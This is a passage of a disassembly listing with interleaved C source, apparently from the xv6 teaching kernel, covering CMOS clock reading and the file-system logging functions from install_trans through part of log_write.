801029e0: b8 04 00 00 00 mov $0x4,%eax 801029e5: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801029e6: 89 ca mov %ecx,%edx 801029e8: ec in (%dx),%al 801029e9: 88 45 b5 mov %al,-0x4b(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801029ec: 89 da mov %ebx,%edx 801029ee: b8 07 00 00 00 mov $0x7,%eax 801029f3: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801029f4: 89 ca mov %ecx,%edx 801029f6: ec in (%dx),%al 801029f7: 88 45 b4 mov %al,-0x4c(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801029fa: 89 da mov %ebx,%edx 801029fc: b8 08 00 00 00 mov $0x8,%eax 80102a01: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102a02: 89 ca mov %ecx,%edx 80102a04: ec in (%dx),%al 80102a05: 89 c7 mov %eax,%edi asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102a07: 89 da mov %ebx,%edx 80102a09: b8 09 00 00 00 mov $0x9,%eax 80102a0e: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102a0f: 89 ca mov %ecx,%edx 80102a11: ec in (%dx),%al 80102a12: 89 c6 mov %eax,%esi asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102a14: 89 da mov %ebx,%edx 80102a16: b8 0a 00 00 00 mov $0xa,%eax 80102a1b: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102a1c: 89 ca mov %ecx,%edx 80102a1e: ec in (%dx),%al // make sure CMOS doesn't modify time while we read it for(;;) { fill_rtcdate(&t1); if(cmos_read(CMOS_STATA) & CMOS_UIP) 80102a1f: 84 c0 test %al,%al 80102a21: 78 9d js 801029c0 <cmostime+0x30> return inb(CMOS_RETURN); 80102a23: 0f b6 45 b7 movzbl -0x49(%ebp),%eax 80102a27: 89 fa mov %edi,%edx 80102a29: 0f b6 fa movzbl %dl,%edi 80102a2c: 89 f2 mov %esi,%edx 80102a2e: 89 45 b8 mov %eax,-0x48(%ebp) 80102a31: 0f b6 45 b6 movzbl -0x4a(%ebp),%eax 80102a35: 0f b6 f2 movzbl %dl,%esi asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102a38: 89 da mov %ebx,%edx 80102a3a: 89 7d c8 mov %edi,-0x38(%ebp) 80102a3d: 89 45 bc mov %eax,-0x44(%ebp) 80102a40: 0f b6 45 b5 movzbl -0x4b(%ebp),%eax 80102a44: 89 75 cc mov %esi,-0x34(%ebp) 80102a47: 89 45 c0 mov %eax,-0x40(%ebp) 80102a4a: 0f b6 45 b4 movzbl -0x4c(%ebp),%eax 80102a4e: 89 45 c4 mov %eax,-0x3c(%ebp) 80102a51: 31 c0 xor %eax,%eax 80102a53: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102a54: 89 ca mov %ecx,%edx 80102a56: ec in (%dx),%al 80102a57: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102a5a: 89 da mov %ebx,%edx 80102a5c: 89 45 d0 mov %eax,-0x30(%ebp) 80102a5f: b8 02 00 00 00 mov $0x2,%eax 80102a64: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102a65: 89 ca mov %ecx,%edx 80102a67: ec in (%dx),%al 80102a68: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102a6b: 89 da mov %ebx,%edx 80102a6d: 89 45 d4 mov %eax,-0x2c(%ebp) 80102a70: b8 04 00 00 00 mov $0x4,%eax 80102a75: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102a76: 89 ca mov %ecx,%edx 80102a78: ec in (%dx),%al 80102a79: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102a7c: 89 da mov %ebx,%edx 80102a7e: 89 45 d8 mov %eax,-0x28(%ebp) 80102a81: b8 07 00 00 00 mov $0x7,%eax 80102a86: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102a87: 89 ca mov %ecx,%edx 80102a89: ec in (%dx),%al 80102a8a: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102a8d: 89 da mov %ebx,%edx 80102a8f: 89 45 dc mov %eax,-0x24(%ebp) 80102a92: b8 08 00 00 00 mov $0x8,%eax 80102a97: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102a98: 89 ca mov %ecx,%edx 80102a9a: ec in (%dx),%al 80102a9b: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102a9e: 89 da mov %ebx,%edx 80102aa0: 89 45 e0 mov %eax,-0x20(%ebp) 80102aa3: b8 09 00 00 00 mov $0x9,%eax 80102aa8: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102aa9: 89 ca mov %ecx,%edx 80102aab: ec in (%dx),%al 80102aac: 0f b6 c0 movzbl %al,%eax continue; fill_rtcdate(&t2); if(memcmp(&t1, &t2, sizeof(t1)) == 0) 80102aaf: 83 ec 04 sub $0x4,%esp return inb(CMOS_RETURN); 80102ab2: 89 45 e4 mov %eax,-0x1c(%ebp) if(memcmp(&t1, &t2, sizeof(t1)) == 0) 80102ab5: 8d 45 d0 lea -0x30(%ebp),%eax 80102ab8: 6a 18 push $0x18 80102aba: 50 push %eax 80102abb: 8d 45 b8 lea -0x48(%ebp),%eax 80102abe: 50 push %eax 80102abf: e8 dc 21 00 00 call 80104ca0 <memcmp> 80102ac4: 83 c4 10 add $0x10,%esp 80102ac7: 85 c0 test %eax,%eax 80102ac9: 0f 85 f1 fe ff ff jne 801029c0 <cmostime+0x30> break; } // convert if(bcd) { 80102acf: 80 7d b3 00 cmpb $0x0,-0x4d(%ebp) 80102ad3: 75 78 jne 80102b4d <cmostime+0x1bd> #define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf)) CONV(second); 80102ad5: 8b 45 b8 mov -0x48(%ebp),%eax 80102ad8: 89 c2 mov %eax,%edx 80102ada: 83 e0 0f and $0xf,%eax 80102add: c1 ea 04 shr $0x4,%edx 80102ae0: 8d 14 92 lea (%edx,%edx,4),%edx 80102ae3: 8d 04 50 lea (%eax,%edx,2),%eax 80102ae6: 89 45 b8 mov %eax,-0x48(%ebp) CONV(minute); 80102ae9: 8b 45 bc mov -0x44(%ebp),%eax 80102aec: 89 c2 mov %eax,%edx 80102aee: 83 e0 0f and $0xf,%eax 80102af1: c1 ea 04 shr $0x4,%edx 80102af4: 8d 14 92 lea (%edx,%edx,4),%edx 80102af7: 8d 04 50 lea (%eax,%edx,2),%eax 80102afa: 89 45 bc mov %eax,-0x44(%ebp) CONV(hour ); 80102afd: 8b 45 c0 mov -0x40(%ebp),%eax 80102b00: 89 c2 mov %eax,%edx 80102b02: 83 e0 0f and $0xf,%eax 80102b05: c1 ea 04 shr $0x4,%edx 80102b08: 8d 14 92 lea (%edx,%edx,4),%edx 80102b0b: 8d 04 50 lea (%eax,%edx,2),%eax 80102b0e: 89 45 c0 mov %eax,-0x40(%ebp) CONV(day ); 80102b11: 8b 45 c4 mov -0x3c(%ebp),%eax 80102b14: 89 c2 mov %eax,%edx 80102b16: 83 e0 0f and $0xf,%eax 80102b19: c1 ea 04 shr $0x4,%edx 80102b1c: 8d 14 92 lea (%edx,%edx,4),%edx 80102b1f: 8d 04 50 lea (%eax,%edx,2),%eax 80102b22: 89 45 c4 mov %eax,-0x3c(%ebp) CONV(month ); 80102b25: 8b 45 c8 mov -0x38(%ebp),%eax 80102b28: 89 c2 mov %eax,%edx 80102b2a: 83 e0 0f and $0xf,%eax 80102b2d: c1 ea 04 shr $0x4,%edx 80102b30: 8d 14 92 lea (%edx,%edx,4),%edx 80102b33: 8d 04 50 lea (%eax,%edx,2),%eax 80102b36: 89 45 c8 mov %eax,-0x38(%ebp) CONV(year ); 80102b39: 8b 45 cc mov -0x34(%ebp),%eax 80102b3c: 89 c2 mov %eax,%edx 80102b3e: 83 e0 0f and $0xf,%eax 80102b41: c1 ea 04 shr $0x4,%edx 80102b44: 8d 14 92 lea (%edx,%edx,4),%edx 80102b47: 8d 04 50 lea (%eax,%edx,2),%eax 80102b4a: 89 45 cc mov %eax,-0x34(%ebp) #undef CONV } *r = t1; 80102b4d: 8b 75 08 mov 0x8(%ebp),%esi 80102b50: 8b 45 b8 mov -0x48(%ebp),%eax 80102b53: 89 06 mov %eax,(%esi) 80102b55: 8b 45 bc mov -0x44(%ebp),%eax 80102b58: 89 46 04 mov %eax,0x4(%esi) 80102b5b: 8b 45 c0 mov -0x40(%ebp),%eax 80102b5e: 89 46 08 mov %eax,0x8(%esi) 80102b61: 8b 45 c4 mov -0x3c(%ebp),%eax 80102b64: 89 46 0c mov %eax,0xc(%esi) 80102b67: 8b 45 c8 mov -0x38(%ebp),%eax 80102b6a: 89 46 10 mov %eax,0x10(%esi) 80102b6d: 8b 45 cc mov -0x34(%ebp),%eax 80102b70: 89 46 14 mov %eax,0x14(%esi) r->year += 2000; 80102b73: 81 46 14 d0 07 00 00 addl $0x7d0,0x14(%esi) } 80102b7a: 8d 65 f4 lea -0xc(%ebp),%esp 80102b7d: 5b pop %ebx 80102b7e: 5e pop %esi 80102b7f: 5f pop %edi 80102b80: 5d pop %ebp 80102b81: c3 ret 80102b82: 66 90 xchg %ax,%ax 80102b84: 66 90 xchg %ax,%ax 80102b86: 66 90 xchg %ax,%ax 80102b88: 66 90 xchg %ax,%ax 80102b8a: 66 90 xchg %ax,%ax 80102b8c: 66 90 xchg %ax,%ax 80102b8e: 66 90 xchg %ax,%ax 80102b90 <install_trans>: static void install_trans(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { 80102b90: 8b 0d c8 36 11 80 mov 0x801136c8,%ecx 80102b96: 85 c9 test %ecx,%ecx 80102b98: 0f 8e 8a 00 00 00 jle 80102c28 <install_trans+0x98> { 80102b9e: 55 push %ebp 80102b9f: 89 e5 mov %esp,%ebp 80102ba1: 57 push %edi for (tail = 0; tail < log.lh.n; tail++) { 80102ba2: 31 ff xor %edi,%edi { 80102ba4: 56 push %esi 80102ba5: 53 push %ebx 80102ba6: 83 ec 0c sub $0xc,%esp 80102ba9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block 80102bb0: a1 b4 36 11 80 mov 0x801136b4,%eax 80102bb5: 83 ec 08 sub $0x8,%esp 80102bb8: 01 f8 add %edi,%eax 80102bba: 83 c0 01 add $0x1,%eax 80102bbd: 50 push %eax 80102bbe: ff 35 c4 36 11 80 pushl 0x801136c4 80102bc4: e8 07 d5 ff ff call 801000d0 <bread> 80102bc9: 89 c6 mov %eax,%esi struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 80102bcb: 58 pop %eax 80102bcc: 5a pop %edx 80102bcd: ff 34 bd cc 36 11 80 pushl -0x7feec934(,%edi,4) 80102bd4: ff 35 c4 36 11 80 pushl 0x801136c4 for (tail = 0; tail < log.lh.n; tail++) { 80102bda: 83 c7 01 add $0x1,%edi struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 80102bdd: e8 ee d4 ff ff call 801000d0 <bread> memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst 80102be2: 83 c4 0c add $0xc,%esp struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 80102be5: 89 c3 mov %eax,%ebx memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst 80102be7: 8d 46 5c lea 0x5c(%esi),%eax 80102bea: 68 00 02 00 00 push $0x200 80102bef: 50 push %eax 80102bf0: 8d 43 5c lea 0x5c(%ebx),%eax 80102bf3: 50 push %eax 80102bf4: e8 f7 20 00 00 call 80104cf0 <memmove> bwrite(dbuf); // write dst to disk 80102bf9: 89 1c 24 mov %ebx,(%esp) 80102bfc: e8 af d5 ff ff call 801001b0 <bwrite> brelse(lbuf); 80102c01: 89 34 24 mov %esi,(%esp) 80102c04: e8 e7 d5 ff ff call 801001f0 <brelse> brelse(dbuf); 80102c09: 89 1c 24 mov %ebx,(%esp) 80102c0c: e8 df d5 ff ff call 801001f0 <brelse> for (tail = 0; tail < log.lh.n; tail++) { 80102c11: 83 c4 10 add $0x10,%esp 80102c14: 39 3d c8 36 11 80 cmp %edi,0x801136c8 80102c1a: 7f 94 jg 80102bb0 <install_trans+0x20> } } 80102c1c: 8d 65 f4 lea -0xc(%ebp),%esp 80102c1f: 5b pop %ebx 80102c20: 5e pop %esi 80102c21: 5f pop %edi 80102c22: 5d pop %ebp 80102c23: c3 ret 80102c24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102c28: c3 ret 80102c29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102c30 <write_head>: // Write in-memory log header to disk. // This is the true point at which the // current transaction commits. static void write_head(void) { 80102c30: 55 push %ebp 80102c31: 89 e5 mov %esp,%ebp 80102c33: 53 push %ebx 80102c34: 83 ec 0c sub $0xc,%esp struct buf *buf = bread(log.dev, log.start); 80102c37: ff 35 b4 36 11 80 pushl 0x801136b4 80102c3d: ff 35 c4 36 11 80 pushl 0x801136c4 80102c43: e8 88 d4 ff ff call 801000d0 <bread> struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; for (i = 0; i < log.lh.n; i++) { 80102c48: 83 c4 10 add $0x10,%esp struct buf *buf = bread(log.dev, log.start); 80102c4b: 89 c3 mov %eax,%ebx hb->n = log.lh.n; 80102c4d: a1 c8 36 11 80 mov 0x801136c8,%eax 80102c52: 89 43 5c mov %eax,0x5c(%ebx) for (i = 0; i < log.lh.n; i++) { 80102c55: 85 c0 test %eax,%eax 80102c57: 7e 19 jle 80102c72 <write_head+0x42> 80102c59: 31 d2 xor %edx,%edx 80102c5b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102c5f: 90 nop hb->block[i] = log.lh.block[i]; 80102c60: 8b 0c 95 cc 36 11 80 mov -0x7feec934(,%edx,4),%ecx 80102c67: 89 4c 93 60 mov %ecx,0x60(%ebx,%edx,4) for (i = 0; i < log.lh.n; i++) { 80102c6b: 83 c2 01 add $0x1,%edx 80102c6e: 39 d0 cmp %edx,%eax 80102c70: 75 ee jne 80102c60 <write_head+0x30> } bwrite(buf); 80102c72: 83 ec 0c sub $0xc,%esp 80102c75: 53 push %ebx 80102c76: e8 35 d5 ff ff call 801001b0 <bwrite> brelse(buf); 80102c7b: 89 1c 24 mov %ebx,(%esp) 80102c7e: e8 6d d5 ff ff call 801001f0 <brelse> } 80102c83: 8b 5d fc mov -0x4(%ebp),%ebx 80102c86: 83 c4 10 add $0x10,%esp 80102c89: c9 leave 80102c8a: c3 ret 80102c8b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102c8f: 90 nop 80102c90 <initlog>: { 80102c90: f3 0f 1e fb endbr32 80102c94: 55 push %ebp 80102c95: 89 e5 mov %esp,%ebp 80102c97: 53 push %ebx 80102c98: 83 ec 2c sub $0x2c,%esp 80102c9b: 8b 5d 08 mov 0x8(%ebp),%ebx initlock(&log.lock, "log"); 80102c9e: 68 80 7c 10 80 push $0x80107c80 80102ca3: 68 80 36 11 80 push $0x80113680 80102ca8: e8 13 1d 00 00 call 801049c0 <initlock> readsb(dev, &sb); 80102cad: 58 pop %eax 80102cae: 8d 45 dc lea -0x24(%ebp),%eax 80102cb1: 5a pop %edx 80102cb2: 50 push %eax 80102cb3: 53 push %ebx 80102cb4: e8 47 e8 ff ff call 80101500 <readsb> log.start = sb.logstart; 80102cb9: 8b 45 ec mov -0x14(%ebp),%eax struct buf *buf = bread(log.dev, log.start); 80102cbc: 59 pop %ecx log.dev = dev; 80102cbd: 89 1d c4 36 11 80 mov %ebx,0x801136c4 log.size = sb.nlog; 80102cc3: 8b 55 e8 mov -0x18(%ebp),%edx log.start = sb.logstart; 80102cc6: a3 b4 36 11 80 mov %eax,0x801136b4 log.size = sb.nlog; 80102ccb: 89 15 b8 36 11 80 mov %edx,0x801136b8 struct buf *buf = bread(log.dev, log.start); 80102cd1: 5a pop %edx 80102cd2: 50 push %eax 80102cd3: 53 push %ebx 80102cd4: e8 f7 d3 ff ff call 801000d0 <bread> for (i = 0; i < log.lh.n; i++) { 80102cd9: 83 c4 10 add $0x10,%esp log.lh.n = lh->n; 80102cdc: 8b 48 5c mov 0x5c(%eax),%ecx 80102cdf: 89 0d c8 36 11 80 mov %ecx,0x801136c8 for (i = 0; i < log.lh.n; i++) { 80102ce5: 85 c9 test %ecx,%ecx 80102ce7: 7e 19 jle 80102d02 <initlog+0x72> 80102ce9: 31 d2 xor %edx,%edx 80102ceb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102cef: 90 nop log.lh.block[i] = lh->block[i]; 80102cf0: 8b 5c 90 60 mov 0x60(%eax,%edx,4),%ebx 80102cf4: 89 1c 95 cc 36 11 80 mov %ebx,-0x7feec934(,%edx,4) for (i = 0; i < log.lh.n; i++) { 80102cfb: 83 c2 01 add $0x1,%edx 80102cfe: 39 d1 cmp %edx,%ecx 80102d00: 75 ee jne 80102cf0 <initlog+0x60> brelse(buf); 80102d02: 83 ec 0c sub $0xc,%esp 80102d05: 50 push %eax 80102d06: e8 e5 d4 ff ff call 801001f0 <brelse> static void recover_from_log(void) { read_head(); install_trans(); // if committed, copy from log to disk 80102d0b: e8 80 fe ff ff call 80102b90 <install_trans> log.lh.n = 0; 80102d10: c7 05 c8 36 11 80 00 movl $0x0,0x801136c8 80102d17: 00 00 00 write_head(); // clear the log 80102d1a: e8 11 ff ff ff call 80102c30 <write_head> } 80102d1f: 8b 5d fc mov -0x4(%ebp),%ebx 80102d22: 83 c4 10 add $0x10,%esp 80102d25: c9 leave 80102d26: c3 ret 80102d27: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102d2e: 66 90 xchg %ax,%ax 80102d30 <begin_op>: } // called at the start of each FS system call. void begin_op(void) { 80102d30: f3 0f 1e fb endbr32 80102d34: 55 push %ebp 80102d35: 89 e5 mov %esp,%ebp 80102d37: 83 ec 14 sub $0x14,%esp acquire(&log.lock); 80102d3a: 68 80 36 11 80 push $0x80113680 80102d3f: e8 fc 1d 00 00 call 80104b40 <acquire> 80102d44: 83 c4 10 add $0x10,%esp 80102d47: eb 1c jmp 80102d65 <begin_op+0x35> 80102d49: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi while(1){ if(log.committing){ sleep(&log, &log.lock); 80102d50: 83 ec 08 sub $0x8,%esp 80102d53: 68 80 36 11 80 push $0x80113680 80102d58: 68 80 36 11 80 push $0x80113680 80102d5d: e8 ee 15 00 00 call 80104350 <sleep> 80102d62: 83 c4 10 add $0x10,%esp if(log.committing){ 80102d65: a1 c0 36 11 80 mov 0x801136c0,%eax 80102d6a: 85 c0 test %eax,%eax 80102d6c: 75 e2 jne 80102d50 <begin_op+0x20> } else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){ 80102d6e: a1 bc 36 11 80 mov 0x801136bc,%eax 80102d73: 8b 15 c8 36 11 80 mov 0x801136c8,%edx 80102d79: 83 c0 01 add $0x1,%eax 80102d7c: 8d 0c 80 lea (%eax,%eax,4),%ecx 80102d7f: 8d 14 4a lea (%edx,%ecx,2),%edx 80102d82: 83 fa 1e cmp $0x1e,%edx 80102d85: 7f c9 jg 80102d50 <begin_op+0x20> // this op might exhaust log space; wait for commit. sleep(&log, &log.lock); } else { log.outstanding += 1; release(&log.lock); 80102d87: 83 ec 0c sub $0xc,%esp log.outstanding += 1; 80102d8a: a3 bc 36 11 80 mov %eax,0x801136bc release(&log.lock); 80102d8f: 68 80 36 11 80 push $0x80113680 80102d94: e8 67 1e 00 00 call 80104c00 <release> break; } } } 80102d99: 83 c4 10 add $0x10,%esp 80102d9c: c9 leave 80102d9d: c3 ret 80102d9e: 66 90 xchg %ax,%ax 80102da0 <end_op>: // called at the end of each FS system call. // commits if this was the last outstanding operation. void end_op(void) { 80102da0: f3 0f 1e fb endbr32 80102da4: 55 push %ebp 80102da5: 89 e5 mov %esp,%ebp 80102da7: 57 push %edi 80102da8: 56 push %esi 80102da9: 53 push %ebx 80102daa: 83 ec 18 sub $0x18,%esp int do_commit = 0; acquire(&log.lock); 80102dad: 68 80 36 11 80 push $0x80113680 80102db2: e8 89 1d 00 00 call 80104b40 <acquire> log.outstanding -= 1; 80102db7: a1 bc 36 11 80 mov 0x801136bc,%eax if(log.committing) 80102dbc: 8b 35 c0 36 11 80 mov 0x801136c0,%esi 80102dc2: 83 c4 10 add $0x10,%esp log.outstanding -= 1; 80102dc5: 8d 58 ff lea -0x1(%eax),%ebx 80102dc8: 89 1d bc 36 11 80 mov %ebx,0x801136bc if(log.committing) 80102dce: 85 f6 test %esi,%esi 80102dd0: 0f 85 1e 01 00 00 jne 80102ef4 <end_op+0x154> panic("log.committing"); if(log.outstanding == 0){ 80102dd6: 85 db test %ebx,%ebx 80102dd8: 0f 85 f2 00 00 00 jne 80102ed0 <end_op+0x130> do_commit = 1; log.committing = 1; 80102dde: c7 05 c0 36 11 80 01 movl $0x1,0x801136c0 80102de5: 00 00 00 // begin_op() may be waiting for log space, // and decrementing log.outstanding has decreased // the amount of reserved space. wakeup(&log); } release(&log.lock); 80102de8: 83 ec 0c sub $0xc,%esp 80102deb: 68 80 36 11 80 push $0x80113680 80102df0: e8 0b 1e 00 00 call 80104c00 <release> } static void commit() { if (log.lh.n > 0) { 80102df5: 8b 0d c8 36 11 80 mov 0x801136c8,%ecx 80102dfb: 83 c4 10 add $0x10,%esp 80102dfe: 85 c9 test %ecx,%ecx 80102e00: 7f 3e jg 80102e40 <end_op+0xa0> acquire(&log.lock); 80102e02: 83 ec 0c sub $0xc,%esp 80102e05: 68 80 36 11 80 push $0x80113680 80102e0a: e8 31 1d 00 00 call 80104b40 <acquire> wakeup(&log); 80102e0f: c7 04 24 80 36 11 80 movl $0x80113680,(%esp) log.committing = 0; 80102e16: c7 05 c0 36 11 80 00 movl $0x0,0x801136c0 80102e1d: 00 00 00 wakeup(&log); 80102e20: e8 2b 18 00 00 call 80104650 <wakeup> release(&log.lock); 80102e25: c7 04 24 80 36 11 80 movl $0x80113680,(%esp) 80102e2c: e8 cf 1d 00 00 call 80104c00 <release> 80102e31: 83 c4 10 add $0x10,%esp } 80102e34: 8d 65 f4 lea -0xc(%ebp),%esp 80102e37: 5b pop %ebx 80102e38: 5e pop %esi 80102e39: 5f pop %edi 80102e3a: 5d pop %ebp 80102e3b: c3 ret 80102e3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi struct buf *to = bread(log.dev, log.start+tail+1); // log block 80102e40: a1 b4 36 11 80 mov 0x801136b4,%eax 80102e45: 83 ec 08 sub $0x8,%esp 80102e48: 01 d8 add %ebx,%eax 80102e4a: 83 c0 01 add $0x1,%eax 80102e4d: 50 push %eax 80102e4e: ff 35 c4 36 11 80 pushl 0x801136c4 80102e54: e8 77 d2 ff ff call 801000d0 <bread> 80102e59: 89 c6 mov %eax,%esi struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102e5b: 58 pop %eax 80102e5c: 5a pop %edx 80102e5d: ff 34 9d cc 36 11 80 pushl -0x7feec934(,%ebx,4) 80102e64: ff 35 c4 36 11 80 pushl 0x801136c4 for (tail = 0; tail < log.lh.n; tail++) { 80102e6a: 83 c3 01 add $0x1,%ebx struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102e6d: e8 5e d2 ff ff call 801000d0 <bread> memmove(to->data, from->data, BSIZE); 80102e72: 83 c4 0c add $0xc,%esp struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102e75: 89 c7 mov %eax,%edi memmove(to->data, from->data, BSIZE); 80102e77: 8d 40 5c lea 0x5c(%eax),%eax 80102e7a: 68 00 02 00 00 push $0x200 80102e7f: 50 push %eax 80102e80: 8d 46 5c lea 0x5c(%esi),%eax 80102e83: 50 push %eax 80102e84: e8 67 1e 00 00 call 80104cf0 <memmove> bwrite(to); // write the log 80102e89: 89 34 24 mov %esi,(%esp) 80102e8c: e8 1f d3 ff ff call 801001b0 <bwrite> brelse(from); 80102e91: 89 3c 24 mov %edi,(%esp) 80102e94: e8 57 d3 ff ff call 801001f0 <brelse> brelse(to); 80102e99: 89 34 24 mov %esi,(%esp) 80102e9c: e8 4f d3 ff ff call 801001f0 <brelse> for (tail = 0; tail < log.lh.n; tail++) { 80102ea1: 83 c4 10 add $0x10,%esp 80102ea4: 3b 1d c8 36 11 80 cmp 0x801136c8,%ebx 80102eaa: 7c 94 jl 80102e40 <end_op+0xa0> write_log(); // Write modified blocks from cache to log write_head(); // Write header to disk -- the real commit 80102eac: e8 7f fd ff ff call 80102c30 <write_head> install_trans(); // Now install writes to home locations 80102eb1: e8 da fc ff ff call 80102b90 <install_trans> log.lh.n = 0; 80102eb6: c7 05 c8 36 11 80 00 movl $0x0,0x801136c8 80102ebd: 00 00 00 write_head(); // Erase the transaction from the log 80102ec0: e8 6b fd ff ff call 80102c30 <write_head> 80102ec5: e9 38 ff ff ff jmp 80102e02 <end_op+0x62> 80102eca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi wakeup(&log); 80102ed0: 83 ec 0c sub $0xc,%esp 80102ed3: 68 80 36 11 80 push $0x80113680 80102ed8: e8 73 17 00 00 call 80104650 <wakeup> release(&log.lock); 80102edd: c7 04 24 80 36 11 80 movl $0x80113680,(%esp) 80102ee4: e8 17 1d 00 00 call 80104c00 <release> 80102ee9: 83 c4 10 add $0x10,%esp } 80102eec: 8d 65 f4 lea -0xc(%ebp),%esp 80102eef: 5b pop %ebx 80102ef0: 5e pop %esi 80102ef1: 5f pop %edi 80102ef2: 5d pop %ebp 80102ef3: c3 ret panic("log.committing"); 80102ef4: 83 ec 0c sub $0xc,%esp 80102ef7: 68 84 7c 10 80 push $0x80107c84 80102efc: e8 8f d4 ff ff call 80100390 <panic> 80102f01: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102f08: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102f0f: 90 nop 80102f10 <log_write>: // modify bp->data[] // log_write(bp) // brelse(bp) void log_write(struct buf *b) { 80102f10: f3 0f 1e fb endbr32 80102f14: 55 push %ebp 80102f15: 89 e5 mov %esp,%ebp 80102f17: 53 push %ebx 80102f18: 83 ec 04 sub $0x4,%esp int i; if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80102f1b: 8b 15 c8 36 11 80 mov 0x801136c8,%edx { 80102f21: 8b 5d 08 mov 0x8(%ebp),%ebx if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80102f24: 83 fa 1d cmp $0x1d,%edx 80102f27: 0f 8f 91 00 00 00 jg 80102fbe <log_write+0xae> 80102f2d: a1 b8 36 11 80 mov 0x801136b8,%eax 80102f32: 83 e8 01 sub $0x1,%eax 80102f35: 39 c2 cmp %eax,%edx 80102f37: 0f 8d 81 00 00 00 jge 80102fbe <log_write+0xae> panic("too big a transaction"); if (log.outstanding < 1) 80102f3d: a1 bc 36 11 80 mov 0x801136bc,%eax 80102f42: 85 c0 test %eax,%eax 80102f44: 0f 8e 81 00 00 00 jle 80102fcb <log_write+0xbb> panic("log_write outside of trans"); acquire(&log.lock); 80102f4a: 83 ec 0c sub $0xc,%esp 80102f4d: 68 80 36 11 80 push $0x80113680 80102f52: e8 e9 1b 00 00 call 80104b40 <acquire> for (i = 0; i < log.lh.n; i++) { 80102f57: 8b 15 c8 36 11 80 mov 0x801136c8,%edx 80102f5d: 83 c4 10 add $0x10,%esp 80102f60: 85 d2 test %edx,%edx 80102f62: 7e 4e jle 80102fb2 <log_write+0xa2> if (log.lh.block[i] == b->blockno) // log absorbtion 80102f64: 8b 4b 08 mov 0x8(%ebx),%ecx for (i = 0; i < log.lh.n; i++) { 80102f67: 31 c0 xor %eax,%eax 80102f69: eb 0c jmp 80102f77 <log_write+0x67> 80102f6b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102f6f: 90 nop 80102f70: 83 c0 01 add $0x1,%eax 80102f73: 39 c2 cmp %eax,%edx 80102f75: 74 29 je 80102fa0 <log_write+0x90> if (log.lh.block[i] == b->blockno) // log absorbtion 80102f77: 39 0c 85 cc 36 11 80 cmp %ecx,-0x7feec934(,%eax,4) 80102f7e: 75 f0 jne 80102f70 <log_write+0x60> break; } log.lh.block[i] = b->blockno; 80102f80: 89 0c 85 cc 36 11 80 mov %ecx,-0x7feec934(,%eax,4) if (i == log.lh.n) log.lh.n++; b->flags |= B_DIRTY; // prevent eviction 80102f87: 83 0b 04 orl $0x4,(%ebx) release(&log.lock); } 80102f8a: 8b 5d fc mov -0x4(%ebp),%ebx release(&log.lock); 80102f8d: c7 45 08 80 36 11 80 movl $0x80113680,0x8(%ebp) } 80102f94: c9 leave release(&log.lock); 80102f95: e9 66 1c 00 00 jmp 80104c00 <release> 80102f9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi log.lh.block[i] = b->blockno; 80102fa0: 89 0c 95 cc 36 11 80 mov %ecx,-0x7feec934(,%edx,4) log.lh.n++; 80102fa7: 83 c2 01 add $0x1,%edx 80102faa: 89 15 c8 36 11 80 mov %edx,0x801136c8 80102fb0: eb d5 jmp 80102f87 <log_write+0x77> 